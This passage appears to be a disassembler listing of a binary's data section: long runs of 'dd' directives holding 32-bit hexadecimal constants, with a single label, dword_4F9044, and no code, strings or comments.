3E49770Ah, 0A7BD5EE9h dd 0D547287Ah, 11960C3Bh, 42A41B5Dh, 38B77D18h, 24EB90C0h dd 130E1D39h, 5221D877h, 6D3B82C1h, 806F2F87h, 152BE383h dd 18001A4Ah, 10082ED8h, 6A492F68h, 0E2533FA5h, 5535822h dd 2D7F0F7Bh, 7ECAF5EEh, 0D87FAB39h, 4E4F8F05h, 0A2C5B6FCh dd 98CCEFADh, 29A14035h, 0C0AFF54Ah, 0BE39847Ch, 7F103D4Fh dd 12B64807h, 0A62741FCh, 0A980C39Eh, 0A922E256h, 6BF37FEFh dd 7043B292h, 0C1FC2059h, 173243BBh, 3B70A296h, 0E9F35A59h dd 28E8A316h, 0B80150DCh, 45E038B3h, 127B0FE9h, 3F7BBB4h dd 257D680Bh, 0AC71B87Dh, 0C651B741h, 7DA70560h, 1510AB9h dd 9072DF0h, 5541BAE9h dd 0EF6C7A5Ch, 0A03E58DAh, 10B0CC8h, 34B4DDD6h, 13EF2D5Fh dd 70F08EAh, 385A5809h, 80378A7Ah, 2EF75F33h, 1DF20EAh dd 192531F9h, 85C4FD59h, 0B894EDB9h, 75052F16h, 58CC89h dd 0F619282Dh, 1210C30Ah, 3CD9125Eh, 0B08F902h, 0EADC20F7h dd 4FBA6AF2h, 0ED3AB15Ch, 31C0F3CDh, 0B841BEE9h, 4BB15747h dd 279C3CB4h, 17F552F2h, 2FBA118h, 0F6A37393h, 94B02D48h dd 21128656h, 8CAA58C2h, 0E918FA55h, 680E0ACCh, 6E1A9745h dd 134B3E8Fh, 7850F95Eh, 12E59205h, 0BB997F84h, 5AAC69B0h dd 7234A80Ah, 1636A25h, 1C72E9A1h, 38F75E40h, 65704877h dd 0E6E32900h, 0E9D689F8h, 61F57E5Ah, 0AA26B9DBh, 1839EE2Ah dd 6889F02Fh, 5121AB25h, 476B88F4h, 8509DA20h, 0DF2CCA2Dh dd 608EEA8h, 26A621E9h, 770F4079h, 6697E7F8h, 255D4B05h dd 15A25DEBh, 4CF73080h, 731FB053h, 0EEF84E50h, 701C6B0Bh dd 9D685FA4h, 7E79CE5Bh, 496E9E51h, 29F5EDB3h, 9A84828Dh dd 0DF1E6A64h, 2E8F42C0h, 0E7C076ABh, 625BAF1Ch, 4DCA6EC0h dd 0C296744h, 67090091h, 2C4EF0E9h, 0FEB3AB77h, 0BA5A0295h dd 2F5F16F8h, 1C863540h, 28720324h, 7C1FE600h, 4F14E93Ch dd 35AE3856h, 0BC378E03h, 9024251Ah, 5F687F40h, 80BE8D66h dd 41C71162h, 0BEF5F9E9h, 0BCAA9225h, 8C4D9FAEh, 0A83E1A03h dd 69D4B87Ah, 2FD30B6h, 0FC53EAE3h, 0D8983EB1h, 3ABD1A70h dd 3EF7102h, 0F4361168h, 108F6022h, 810015F8h, 0D1586BC5h dd 0A2DD2976h, 5B0802C0h, 87A0C183h, 0CAC4FDF2h, 0D5930EDDh dd 5B31FC0Bh, 0BB5381B5h, 3B5E3745h, 16135AB0h, 0EB499D73h dd 586A6B09h, 0EB519F0Bh, 0A6F69197h, 0DD2FFA16h, 0F449F50Bh dd 0D8C04163h, 3D72DDBFh, 7F2E9D6Dh, 0B017C761h, 0B0B06EC9h dd 2B1D4105h, 4B1715B8h, 7C94A4D2h, 5AFE7D7Eh, 28CBEB7h dd 0E91C5F21h, 7C654407h, 0A73F6B29h, 0B583809Dh, 7B15163h dd 3E1C0B2h, 53B63180h, 0F9DB30B7h, 8F20A3B8h, 0B8B11E93h dd 89061EC0h, 161A4694h, 7D44B27Dh, 0FE684EB0h, 5D953A70h dd 554AFD1Ch, 0FC3A428Dh, 63F8993Dh, 38F5556Eh, 5F1AFD10h dd 5D84D4B8h, 4537BAE8h, 9051F492h, 3D1ACEEBh, 55AA8F42h dd 2516A088h, 2272669h, 5EAA2846h, 0D05B934Dh, 75E6E2h dd 0EB088583h, 70F1EC30h, 0BDE25B84h, 252DC3h, 3A7DBE5Dh dd 0E63F7A08h, 8114978Ah, 51EA8654h, 3F68520Bh, 0C5B05D49h dd 0B5A305Fh, 0D13EE2E8h, 4DB0CD28h, 8D47B914h, 0C3AE945Ah dd 57767F28h, 0C000E6B1h, 0D8F604E0h, 24C800FEh, 51322CEAh dd 5D9541B5h, 0C207F785h, 7D0F436Ch, 0C9E848Ch, 59EB3828h dd 22DBF697h, 0D06AD488h, 0CD7ACE82h, 0EB2D9FDAh, 0C557DE02h dd 9540EA58h, 2C2D5AD0h, 0B1F2740h, 0F09DB970h, 0AF565AC2h dd 25384F54h, 13C6F464h, 63030E77h, 0C543F265h, 93E4FFC3h dd 4E3C7BBAh, 8884EF50h, 0BE560805h, 0CEC522EEh, 0CBE7205Dh dd 48292A68h, 1A06E20Eh, 18226012h, 9A698D03h, 96C7E934h dd 4B58B7ADh, 3F6E3849h, 98111652h, 680234E2h, 5EDB3EE5h dd 0B03E4C5Bh, 0B9C5A357h, 550B2CF9h, 728A02FFh, 8E72760Ah dd 615D0881h, 0DDE31545h, 0DB042E4Ch, 17910C03h, 0BD00AE7Eh dd 0EA7E129Bh, 0F1CD8106h, 93AB56Bh, 7D4D85E5h, 2E0FCFF0h dd 8034E908h, 0BD2650CEh, 1BEEEC20h, 0FA3616B0h, 0C730CBE0h dd 0D0F94F5Ah, 38C83100h, 5EF529A0h, 33A85EC3h, 30EA84D5h dd 0BFB850D4h, 3B616200h, 4E630D48h, 3521008Ch, 69101552h dd 345247E9h, 0D8F54E84h, 0F310BD32h, 0FA311D6Fh, 28FC56D5h dd 1A2CB3ADh, 8351A509h, 0ED160CBFh, 0C29C56E1h, 45D4D7C9h dd 1802986Ah, 0C04E3707h, 287C7975h, 0A8E939F9h, 0EE6EB256h dd 7C6258C4h, 57EA36D8h, 39F2DD3Fh, 58EC4F75h, 509192A5h dd 9F16FE5Dh, 7429C7BFh, 0C2F91709h, 5B8011D0h, 0B3853F7Bh dd 0B4025D9Fh, 69DCAF17h, 23E3488h, 722C9CB7h, 0ECA0E0F7h dd 39DEB5D4h, 0A485C59h, 9EB37AE9h, 93E56BC2h, 0C27AD62Fh dd 1057FCE6h, 95F068C0h, 2C793DF2h, 0E1355C95h, 2ED413E9h dd 575C4771h, 1E69AB2Bh, 425C189Ch, 0EF011258h, 1F436CD5h dd 40FC0AA2h, 7FB8E681h, 38901DEBh, 26AA4E4Fh, 3010CB4h dd 0E9DCBF99h, 0A66B4660h, 549C849Bh, 4AD4BFEDh, 0EE592B04h dd 388CC701h, 0CE84DFBBh, 2768FDA0h, 0B5983919h, 1283BD8Eh dd 0A3169658h, 0E4271029h, 0D1DDF70Bh, 490A2702h, 7E02D509h dd 5FF103BDh, 0ED0AE827h, 0FBCB9F8Fh, 686EDC97h, 595D2325h dd 3788018h, 0D9F773ABh, 2D61B0C2h, 708B701Ah, 7E4BF616h dd 80E59001h, 4F87E908h, 0A2DAFDB3h, 40D1FD34h, 0EEB077E9h dd 0A8A65FFEh, 0E52FAC2Fh, 21DDEBADh, 4BA5E98Dh, 58864FB0h dd 4F1F2F0Dh, 9B96474Eh, 0DCBBF184h, 6841B727h, 0B01DD2CFh dd 809B62C4h, 80130FB3h, 1DEA72F3h, 9CED813Fh, 0A533AEE9h dd 822F566Fh, 52710385h, 309BD155h, 6BD9E318h, 0AE84824Ah dd 5EDD82C2h, 1A7D2593h, 3E348ECh, 9A599F61h, 6375D982h dd 0E0F4722Fh, 7460822Dh, 4382B714h, 5385EC3Eh, 5B501042h dd 0A9414058h, 6427012Eh, 0FE2D9425h, 707E960Ch, 0D7591C32h dd 5D254D79h, 0CF89B6CFh, 0D5D91A08h, 0FC95B646h, 2B485082h dd 0D46888BEh, 0D6FCD10Bh, 0C0F1733Dh, 0CCE33A29h, 0D2E7B94Bh dd 0C12B67AAh, 74B01BE9h, 77136E6Eh, 744B12C1h, 681BC05Dh dd 0CC524EA2h, 28494AA2h, 52A1827Dh, 6AC56036h, 0DEF780CEh dd 505304DEh, 9168FF42h, 0A1104606h, 73ECD75Fh, 8190946Bh dd 6711FBCFh, 622702Bh, 0C20B4DB9h, 2D389144h, 5FA7FC2Ah dd 0E9C23CA2h, 1C5735C8h, 2FBF7252h, 78D6284Eh, 0E26B8801h dd 0EB3E3174h, 814F7904h, 135DDE80h, 18FDF8E5h, 4E5C3AE9h dd 66485704h, 71F51219h, 8B30E6EAh, 2D866556h, 95F3489h dd 7772899Bh, 84582309h, 69E38019h, 5BA74EBAh, 7549EA53h dd 0CD55E53Ah, 0AB661795h, 0FCB31090h, 0AEFF4EFEh, 0F65E729Eh dd 0C36C60E7h, 94FDEE88h, 0A8921782h, 0DFFE4B0Fh, 0B1E909C6h dd 0D2042725h, 5F40E2D0h, 4ED9016h, 88ABF0F2h, 0C081FF4Ah dd 777CD831h, 0C0AA06D3h, 0ED4E5532h, 0D0A47F95h, 0C0F252A0h dd 0D93EB502h, 425D017Ah, 0A2080B97h, 5527FF9Bh, 0EB70CBF4h dd 0C45C4B21h, 4107E87Dh, 5F470808h, 302AE911h, 8521C225h dd 89086968h, 66F137EDh, 26FEB5BCh, 6063E950h, 64C2B908h dd 0A59E67FEh, 0EC92338Bh, 0F7989F88h, 9E64A1E9h, 33CE34C7h dd 0ED31FF4Fh, 0D34CDE89h, 10681256h, 5E9E0013h, 5418FBDh dd 6FD76A51h, 825A48E8h, 0D9A0AB5Fh, 7021DB9h, 600BBE0h dd 3150E11Eh, 4EF759CBh, 1C5CC8D3h, 6BDC3B18h, 92C710Ch dd 32E996E0h, 0F32FD2DCh, 6F83C7A4h, 93CABBF2h, 13BDE340h dd 33BDC2Ch, 8730C255h, 0B9801896h, 10907021h, 8E324A5Bh dd 668BF552h, 19509EFDh, 162DE7E9h, 1592C09h, 1FDF7F4Eh dd 3332E0D3h, 0BD5A110h, 7658C629h, 6D024B41h, 0ABC1FE87h dd 0CE69A06Eh, 0D325F50Bh, 0E908F54Bh, 222F07h, 10FF2761h dd 7BC7832Fh, 0C4C62AFFh, 0CDD348F6h, 0AC440B4Bh, 0FD5DEBF0h dd 0F1201E72h, 0ECDF8B58h, 0D9949523h, 92B6F204h, 88FA0937h dd 5E5E6821h, 0B5E130AEh, 0E4B5FEFAh, 6FDF003Ah, 432506F1h dd 0ADE6D18h, 1D0A6B81h, 32C95805h, 4685CFAh, 0BE1AF63Ch dd 5201DAA3h, 9951D4Ah dword_4F9044 dd 0DC026BF0h, 0F129F9E9h, 0AE681624h, 0DF5E4CC2h, 7125BF51h dd 996870F2h, 0EBCC114Bh, 286F4EB0h, 5E41F2B3h, 6CE3F03Eh dd 0E988A65Eh, 0BA6344DAh, 3717D10Ch, 766D6C7Fh, 0DE266054h dd 1F04353Ch, 0CE074E7Dh, 6CD741DCh, 557EF660h, 21361742h dd 750909F2h, 0EA04BB52h, 93D50B7h, 88650FEh, 0B6E95805h dd 2247AEFEh, 450603F2h, 50EA2AAAh, 88F190F2h, 0B91B9D4h dd 21472470h, 0FF15E075h, 5C902508h, 4260DB50h, 7D1CFB60h dd 0BE76BF26h, 1344020Eh, 936B8AAFh, 8368BC90h, 1130BF5Bh dd 1F0B1571h, 0A28B1EE9h, 0CC7397DDh, 0EDDCB5E8h, 0AB417727h dd 0B3F92F8Bh, 0EF1A0BC4h, 24929469h, 1F2BE56h, 16C2D084h dd 1D830BAAh, 544BE678h, 0A10AB0FCh, 0D83561h, 3A2BE8E3h dd 4927E945h, 61E6DE2Eh, 0C62F4B39h, 6F6ED880h, 94B22E1h dd 0F29EAh, 51AFE2A4h, 4729902Ch, 0FDB99E3Ah, 85F67F4Bh dd 0DBAF6658h, 0E9F64A39h, 5DF90E12h, 0AF5D92A7h, 80EB0C95h dd 8AFBC3F2h, 3F927E95h, 0D680A4A0h, 142E34B4h, 0E004304Dh dd 208024E8h, 7E6407EAh, 40E92F1Eh, 0EEB79480h, 0F8E0CD04h dd 9EFA2C74h, 76253694h, 5D0CB85Bh, 9C0C6E0Ch, 0E5431009h dd 7AC3D289h, 57E89FE9h, 0CF9807E3h, 5CFBFC0Bh, 9DC1502Ch dd 7749F671h, 4C57EE0Bh, 7B94A43h, 7FC8B38Dh, 0BD764E69h dd 0A98E0845h, 6B601A6Fh, 290DED18h, 684CDE9Dh, 9F08200Ch dd 0CD8BFC5Ch, 3544D5ABh, 4C122AF7h, 0FD4B4EFDh, 0AC08F517h dd 0D5F70D0Fh, 0BEFD4004h, 127F5403h, 45B6F025h, 4F893808h dd 2E7522D1h, 36B7616Eh, 0B26B2D96h, 830A063Ch, 60124DE9h dd 0EAC42405h, 2D018C11h, 7231290Bh, 85FAC801h, 31ED5907h dd 3EC0FC8Bh, 66654E68h, 0D3B8DB15h, 3D05A05Fh, 4BDF4E0h dd 540FC496h, 0BD5551A0h, 0DA2C6144h, 0F6026C75h, 77D169AFh dd 0D7495754h, 2C128851h, 95A010BCh, 3359020Eh, 787939A5h dd 80C80538h, 0C1316D34h, 4FFCBBE9h, 52A5CCFEh, 84222959h dd 55ED28D2h, 0EC80B00Bh, 0BECF8CF0h, 6809D001h, 2D444945h dd 0FF4C8639h, 6D1F628h, 0D4025877h, 0FBE9C4FEh, 853E68EBh dd 921A9432h, 0B2CCD169h, 6EBA01FDh, 0AC7E44C1h, 0EBE4F8Ch dd 65D2A793h, 0FFF99559h, 0C958EA2Eh, 0FFD8E284h, 0AA4ABFCBh dd 0D6D27004h, 0F62D4800h, 0E84E5C95h, 2310E5E8h, 0EA800E6Eh dd 3BC7E0Fh, 0FE58B353h, 0F6041FCBh, 5B3FFBD3h, 25E0F39Ch dd 0FC404675h, 0E97609EBh, 6AE823E6h, 0E69D2D5Bh, 68344092h dd 9845F12Fh, 0E0A0E8Ah, 0F3817E54h, 82DE9662h, 497AC25Fh dd 0B42C8EAAh, 628BBE04h, 0F650C0F1h, 442D526Fh, 10C8F25h dd 1D827AB6h, 82A2C56Ah, 5B040591h, 59E85BB5h, 56E8C00Bh dd 3A027468h, 135E353Eh, 3CFD67A9h, 9C07DB48h, 0D52D1A62h dd 5E00F816h, 6E6539AFh, 55964222h, 0D9F56309h, 1E5F69E8h dd 0B4E91331h, 0FC0CD066h, 307BCC43h, 0DCECE82Dh, 40187A2Eh dd 7C95E1F7h, 16D982CDh, 78616702h, 29616B87h, 0E4074258h dd 24FCD4C9h, 0ADEDAA8Dh, 68400302h, 0C2D12A0Dh, 21693980h dd 4BA8E97Dh, 8480B2C9h, 5C034BD1h, 0B6E11A05h, 2D5E7056h dd 864407A2h, 8A92F07Ch, 0F9A8574Ah, 3A44B4B0h, 0B0BF011Ah dd 0AB62FD0Bh, 74081656h, 1DE2D28h, 8F04A00Fh, 37358411h dd 0F602D0Fh, 3D05550Bh, 47FA2612h, 76410AFh, 0AC02974Ch dd 0F713D455h, 0AAE93F60h, 93B6B056h, 2D108BAFh, 0BB9B4064h dd 781B1655h, 7AA00C6Ah, 0E80F2514h, 440B3C09h, 0AB161412h dd 0E2AF1285h, 0FBF5A118h, 44BDCE45h, 0DC3DABD7h, 5174348Ch dd 57025568h, 3959E8BFh, 8A5E079h, 650F4837h, 0C948A412h dd 1E50E007h, 0DAF1A7BDh, 3F1C5483h, 0CE92F369h, 0DB66E49Bh dd 5E2D381Ch, 27857C6Fh, 0BF01DAFCh, 0A7A3C4B3h, 1ABB047Bh dd 0F02807C8h, 51952072h, 0DB2E4273h, 9CEE6DFh, 520351B6h dd 70B3962h, 1341AB78h, 0CE4E12C3h, 91A3BB58h, 7CD5E9B1h dd 2DC14FF9h, 6079EDAEh, 0ACC2AFD7h, 0F0B644A3h, 560B1A7Ah dd 6B7D283Ah, 0C231F2D6h, 0C158FF83h, 0F52F0DB1h, 0AD29D885h dd 817165Ah, 56A611ACh, 0E15AC85Bh, 0E5F0080Ah, 0AA4C69CFh dd 0D52D758Ah, 0E5D5258Bh, 9DF0BB70h, 66886FFBh, 0F4444FD3h dd 2930AEFEh, 5F458C99h, 12EEA8F9h, 0B3B8D631h, 0C05F2DC9h dd 90F0299Eh, 74552F88h, 8B730F22h, 782E5FEh, 74F2854Eh dd 0CA932783h, 51F0DAC2h, 2CFC5BBFh, 0BBC61435h, 1D3C2B81h dd 0C0B4F71Fh, 1E7EB055h, 0EA5C687Dh, 700E7346h, 0C109AC49h dd 0EE6D08C2h, 0C04E42CAh, 60ED51Dh, 8DE96B5Fh, 0ECA06203h dd 5601505Ah, 88685751h, 49CA3467h, 10DC7026h, 6054BF3Dh dd 0CCE686A0h, 2ACD7514h, 30D1CE8h, 1BEE0E53h, 989125CEh dd 0B0B5A007h, 1E779D0Ah, 0F514C321h, 2AD35107h, 0CF0DDA01h dd 0D670A874h, 0D40509D0h, 0B002FE7Ch, 0F2094D4Bh, 9844E85h dd 49D62D65h, 0C55AADB8h, 201183BCh, 72763593h, 6390501h dd 77BEE94Dh, 50E2FF3Ch, 6931F457h, 0C58B6B7Ch, 0BF7D5225h dd 0AF2083DEh, 30B5D4BAh, 0CA51DA14h, 2FA2DF41h, 0CB471B54h dd 1C581AFCh, 0D8D03166h, 0FC30A5Ah, 89C0B73Dh, 7947EF68h dd 0F2E109ABh, 0DE304302h, 84EE1AE0h, 9E3606CAh, 0FF4BF710h dd 70960762h, 25A49E82h, 5E02676h, 7D9F2CDCh, 832DB069h dd 0F1EFE407h, 0D3E36B84h, 0E7EDE2D2h, 2B3DC3A0h, 0ED01F08Ah dd 5AD3012Bh, 7E4E4617h, 0CA0D8600h, 4819CF09h, 641670F7h dd 9217A336h, 354D3A05h, 50BAB3F4h, 0BD5A88FEh, 0BD8E1853h dd 9D757028h, 0E962D6D9h, 689D7D8h, 2E829CFFh, 8EFCBBE9h dd 7EE9DE01h, 0C7BA7743h, 38A54341h, 0A4AB9235h, 0F7000D82h dd 2D19987Ch, 5930AF8Ch, 834C0DE2h, 0A4E35D05h, 0D279E085h dd 798D8B9Dh, 60F5E9E3h, 5D16E9DBh, 53813A51h, 2B6C9E68h dd 0BA5EFA8Ah, 0BD27562h, 0D09F14F0h, 0D005B6FFh, 2DBEF9F7h dd 80E16158h, 8C01055Bh, 29701A56h, 7472DC8h, 0B6057C9h dd 6330E959h, 0B753310Eh, 0C7A3B5DBh, 0AA9B8003h, 26A063Bh dd 0FA2025C7h, 0F626C15Bh, 46F6BAA5h, 256FEA70h, 0ECD9D030h dd 68A5E9C2h, 13A1BEF3h, 817EF073h, 61760D82h, 46E12A1Fh dd 84755D2Bh, 84D1533Ch, 882CD134h, 54CB6FC3h, 2738EB1Ch dd 0FE3916D5h, 1C4965Ch, 0A6D36BFh, 65173029h, 1D184A0Bh dd 21027521h, 5C091FF6h, 410D6DF6h, 92187EFh, 6AA9B13Ah dd 8560C03Dh, 3A7F82ABh, 0F2E44041h, 487C2E04h, 595103F5h dd 324C317Bh, 1400211h, 5F491A47h, 0F4843E49h, 0E917A00Fh dd 0D2277537h, 0ECD23180h, 83F25F01h, 870523D2h, 6A278EF1h dd 41655EBFh, 6CE0DFF2h, 0DD7EADD5h, 0D9B0098Ch, 4667710Eh dd 6F10D601h, 0D0626008h, 0FC161230h, 82CD0FEh, 2CC0E909h dd 0F80C1457h, 36124D80h, 93A4E76h, 8A80D11Dh, 410AF781h dd 8945D717h, 77E9E205h, 9C54D292h, 983F30E7h, 52C6F165h dd 7C6B583Bh, 0B8F9BC06h, 98DC3194h, 4E71F4E4h, 1832466Fh dd 0CD06396Dh, 29D11268h, 24CA770Ch, 38975BFBh, 0C8B5B689h dd 427F27Dh, 0BE14E20Ch, 86A1EB29h, 830EF53Eh, 510D0974h dd 0C91E4135h, 585A0801h, 6809A676h, 0B3C64C39h, 7AD0902Eh dd 0AAB15187h, 0ADD2AD9Eh, 4A0668E4h, 71C28C1Bh, 70BB3340h dd 63E0F99h, 698BDD29h, 2BF84F8h, 40D15D04h, 1740F770h dd 0FF1D3011h, 49ECC8C0h dd 2F132DE9h, 34258A66h, 0EAF5D9A6h, 0AC661C9Ch, 370E08FBh dd 7C23642Dh, 0B2CE3F72h, 0A703A116h, 14C33EF1h, 5EE3EF6Fh dd 76C42AEAh, 0CAE90585h, 0ABD9BBB5h, 0CC40123Ah, 3770F09Bh dd 526D7EB5h, 0F0517E77h, 553DB68h, 52E9134Ah, 8B3ECAF1h dd 0B0A84F3Fh, 92C95DA8h, 0F06044F8h, 20FB29Ch, 2A3F12B9h dd 18E00977h, 0F0A640BFh, 205E681Ch, 173C772Dh, 7EBC1DB2h dd 0D73B65EFh, 43EF4ED2h, 0C5F3A50Ah, 0BBD7EACEh, 4BE9768Ch dd 0E64CE1C6h, 0FE0614FFh, 27CF946Ah, 0EE848601h, 1ED01FEh dd 2C340680h, 4E828B6h, 60EB59E8h, 2F3A0FEh, 802E4554h dd 11A7B951h, 40BD3B23h, 78411E3Eh, 0BEA90E8h, 5F0B52C0h dd 8B83AD61h, 78DDE9FEh, 18609DFDh, 3A204B31h, 7F470439h dd 0F1D17CA8h, 4E65B84Fh, 0E712AEBCh, 89CCAAE6h, 0E3281413h dd 82749B7Dh, 0C795E075h, 4C81E80Bh, 0A61FCCFh, 0FB04F8E7h dd 4EDB844Ch, 0B1C375C4h, 0C7200FDFh, 5832E1Ah, 1E1448Ah dd 0A72DFDF8h, 0D01BDF0Eh, 4BBBBEF3h, 23CE360Bh, 40458408h dd 4E7D5009h, 0BCF762F8h, 1C5769F8h, 738280A5h, 45F02F59h dd 122080F7h, 0A17B3F6Fh, 0D1D55A8Ah, 0D9180BCFh, 8AE04410h dd 430908BCh, 0FDD3011Bh, 520215C6h, 6212F968h, 0FDDEC260h dd 0EC4E281Ch, 0B3BBED13h, 7880205h, 2801560Ch, 0BDE90908h dd 50761DF8h, 63B2D28h, 7574120h, 0F0106CB8h, 471BF01Ah dd 0FEFE1C36h, 0F3F3E85Ah, 5122D810h, 73B22F6Fh, 955FFBC4h dd 0F76038EFh, 86308441h, 11019744h, 3BABF480h, 2CEC1FA0h dd 1A398606h, 40F709C6h, 0FC800865h, 81F59D93h, 5859EFFEh dd 0F7F28BC2h, 0C1276634h, 0EBEB7C3Dh, 8943015Eh, 729251Fh dd 0EF97EDF4h, 0B5EC4FF5h, 277DA48Bh, 7784ECCDh, 0FF84EECAh dd 0C1A013B8h, 0E91307EDh, 2ADD25C3h, 14B38A3Eh, 1A424F68h dd 5E5EF034h, 2ADA524Dh, 0D528F57Fh, 2D25CBDCh, 6BF6746Bh dd 25C511DFh, 7E29892Fh, 0DDE3CECDh, 0AFB00112h, 0E9541657h dd 55888311h, 0C3F4C7B2h, 0E6A24A3Fh, 0AC70A0CBh, 5BDD301Eh dd 0B2ED390Ch, 8EA17C1h, 0AA4D0F4Ah, 0C1621465h, 8A3C6A2Eh dd 0C902BB4Eh, 9088F42h, 3980EFDh, 99285AF0h, 983F372Ch dd 9977B68h, 5AC07EBDh, 7EF35A42h, 5D586E80h, 824C012Ah dd 0A02A2C2h, 2CF460E9h, 0EE8B451Dh, 56E5754Eh, 2E3288A0h dd 7F091243h, 0BBD75CC2h, 0BAA40182h, 799611Bh, 0C1ED2421h dd 0F9EAC1BDh, 0BACF1A60h, 0A8595B9Fh, 0BC16F5B0h, 0A5BF681Fh dd 0DD47575Eh, 620BA920h, 55155B6Ch, 0E8212100h, 765901E9h dd 0C3B26412h, 2C7C91F8h, 93F3EB7Ch, 0E8C6FAC1h, 0F4D49F0Ch dd 6C03D125h, 0E1D10BAh, 56800178h, 303FA2BEh, 408CB872h dd 7CD2312Fh, 52398219h, 0BF9AB2F8h, 65AAAA98h, 49EE22B5h dd 0D7F702A2h, 146CA540h, 20AF94B7h, 0FE3B358Fh, 0BC8797CDh dd 13BD4A88h, 0FBC83BAFh, 0A1C13E06h, 2C76F31Dh, 0AD4BAA4Dh dd 0DF5DCB14h, 14DD8F32h, 7A32C162h, 0D92CB33Dh, 36167059h dd 30B2E49h, 0B51C2DF3h, 80CBB34Ah, 0C157077Eh, 0B7FFF418h dd 20BF3B7Fh, 0D6F75C47h, 282571BDh, 0BBC34B04h, 2D682328h dd 69715DB1h, 5F2E961h, 0B9C37F80h, 68061F66h, 0A8F82D5Ah dd 2CB0B8C0h, 214B174Ch, 9056AE2Ch, 14440B8Ch, 1DF46C33h dd 23F3F609h, 0F2B2C509h, 0CD928726h, 809ED85h, 0D8B2DF59h dd 4B141477h, 0EA0213BAh, 834160CBh, 0DDDE7E02h, 77542B09h dd 884B9FCEh, 98147A25h, 7E520290h, 4305E3C1h, 6AE3541h dd 3B7F0F98h, 0D67D03ECh, 5AA6DB78h, 0C7628EBh, 7A8C744Bh dd 223B55E8h, 4C2BB42h, 90B4EA5Ch, 8D614A63h, 0AE3B88E5h dd 775B1338h, 1D7DEF1h, 1452F195h, 0DBA06ADCh, 5F1AB8DFh dd 0D405BFF9h, 0E3EE7980h, 890389F2h, 646C7DF6h, 0F5348B2Ch dd 8105B178h, 80D4D451h, 30A6F89Dh, 7C0CFCC1h, 5F6BF9E9h dd 2E2B5D22h, 5A1C4155h, 6EEA8A99h, 6340C643h, 450D2D30h dd 3AD93170h, 0A64AC73Ch, 92533E1Eh, 0E34D978Dh, 4D6804D9h dd 1A4D879Ch, 1953821Eh, 9076477Dh, 68E3071Ch, 0DF0B2C02h dd 0E941FDE5h, 0F33EDE5Ah, 685B0632h, 4B1F61E8h, 0BE701EB9h dd 678E28A4h, 913D9751h, 0B9594B20h, 0E26616ABh, 0B8D9934Dh dd 0CB44FB2Ah, 5BEC3703h, 5F8787E4h, 1C5DE7DFh, 0DEB50E1Bh dd 0AE123CB4h, 45E95A02h, 209CCBACh, 0BF007B3Eh, 153340EFh dd 189AF781h, 0C31BB30h, 88277071h, 0BFFFF824h, 0E985CA47h dd 0CCD093C0h, 7A5D6195h, 0E96E4B27h, 5BC5121Dh, 2E3E3DFAh dd 91FBD513h, 2A4725D1h, 1C47ACCEh, 0CC735327h, 0B8E238C9h dd 0E801820Ah, 2FF31AA6h, 0C456F50Fh, 44BA8232h, 0ED1E337Dh dd 0A80539C9h, 0E020D0EFh, 885E1EA0h, 0F0481311h, 68155DCCh dd 7E705AA4h, 0DE43FA6Bh, 6BF82760h, 5320FC2Fh, 34AE0BEBh dd 5B6658F6h, 3F12583Ah, 2EA773B1h, 7FDEECDh, 1E42D24h dd 58258D2Ch, 0D819BC2Dh, 7E0F0548h, 41128666h, 770F63F3h dd 81B9017Ah, 47497ACFh, 0E8206FA8h, 0E97EF70Dh, 915659h dd 1A01BEB9h, 1A092D0Eh, 0C0044A36h, 824B662h, 0FA62FFF0h dd 7C126A1Ah, 0C4D7D238h, 0DD724EFh, 0E18140D5h, 0A2305A2Eh dd 18B73A32h, 58664C49h, 39135300h, 0E9CF3122h, 36106F30h dd 72377A2Dh, 0F8291418h, 0E9090705h, 0A276488Bh, 4B1AC240h dd 34207D0Fh, 0F11BAE71h, 34A8D113h, 4A60D5A1h, 75F58106h dd 118A0546h, 805DE909h, 765ED1BBh, 0FA21083Ch, 0D7472F69h dd 0C4A78B45h, 29E725F8h, 7CEBD4D1h, 0F11A7000h, 35A3FE4Ah dd 12575A2Fh, 6432F4A5h, 5F3DE0AEh, 0D1DFF724h, 8A52F302h dd 0ADE88078h, 0B558B540h, 7A677C69h, 9CEB4017h, 5698DA14h dd 5E0D8638h, 0E96C3CBBh, 0F626082Dh, 0B818EC44h, 16D83BF1h dd 14E65994h, 116CB205h, 40A20121h, 2B6B416Fh, 552E280h dd 6C40B5B6h, 0C7252E7Ch, 4943575Ch, 49313A98h, 43C7734Bh dd 2F24AE42h, 5FC5F1C0h, 0F53931C6h, 0E916F95Eh, 2449B7CBh dd 0E8B006EBh, 85409580h, 0B5A6617h, 0A92665EDh, 4087BEC5h dd 0A4785536h, 692DE844h, 3BC7D5C1h, 20E95985h, 0FE6CBBF1h dd 0B0C20268h, 307235C8h, 0E6813B03h, 2D792BDFh, 120BED32h dd 14DA545Eh, 5BD925CAh, 543DF3D3h, 52CB5EE0h, 0A33B90C7h dd 0AA2E145Fh, 0AE108489h, 19C33B53h, 29AAE5D1h, 0B973B47Eh dd 626CD91Fh, 2894E68Dh, 0BA8E0431h, 130957B8h, 8A98E5DDh dd 0ACA930E9h, 5ACB0419h, 3CF0BA94h, 2F5979Dh, 0D352E0D5h dd 2668A6B4h, 0B4FFAFA2h, 6BE919DBh, 0DDCB47ACh, 4129233Fh dd 21E1D2BDh, 6C37F501h, 62697570h, 7C6484DFh, 5F5B11BBh dd 0CFD2F7Ah, 0C6AFE259h, 0E9D91392h, 0AD544F97h, 8B0B81D4h dd 0DE89E51h, 91227F6h, 90BF15D9h, 0E7243FDEh, 5022346Ch dd 4B31050Dh, 0A8BFE96Fh, 0BAD04ADCh, 4F432E34h, 79E1002h dd 0C0D65B2Fh, 466E8E82h, 0ABD2894Eh, 33E5DF96h, 0A6A07593h dd 3E475897h, 4ECC8E51h, 10DD025Eh, 52E9F889h, 986809E8h dd 0CF2D565Ch, 2B3DC957h, 756BFDC4h, 56CA96D2h, 691C7C55h dd 206D1655h, 76B50DAAh, 5EF0C26Ah, 0EA40F9DCh, 9540317Ch dd 7457B80h, 0E2F8181Bh, 491E9D0Ch, 0D308252Ah, 4ECBAC02h dd 0B5BDB712h, 0BE12BE85h, 47090F71h, 51B7E42Ah, 0EF78E90Bh dd 189677FEh, 5210FF97h, 679D4272h, 661082B8h, 0E07D2063h dd 0BB95111h, 41BB38F5h dd 2D09FD50h, 42212Ah, 24A7274h, 0C231174Bh, 0CA0F1958h dd 34D2306Ah, 563881BDh, 0BAD50ECFh, 0AC4A7F6Ch, 425827DFh dd 92D45FA6h, 0DFE5A73Dh, 0E955109Ch, 17B5C8E0h, 0F7545098h dd 194A67E8h, 54A54971h, 0EEBC3795h, 33257852h, 1E7F2E42h dd 890ABB65h, 8CE2AFE9h, 93185240h, 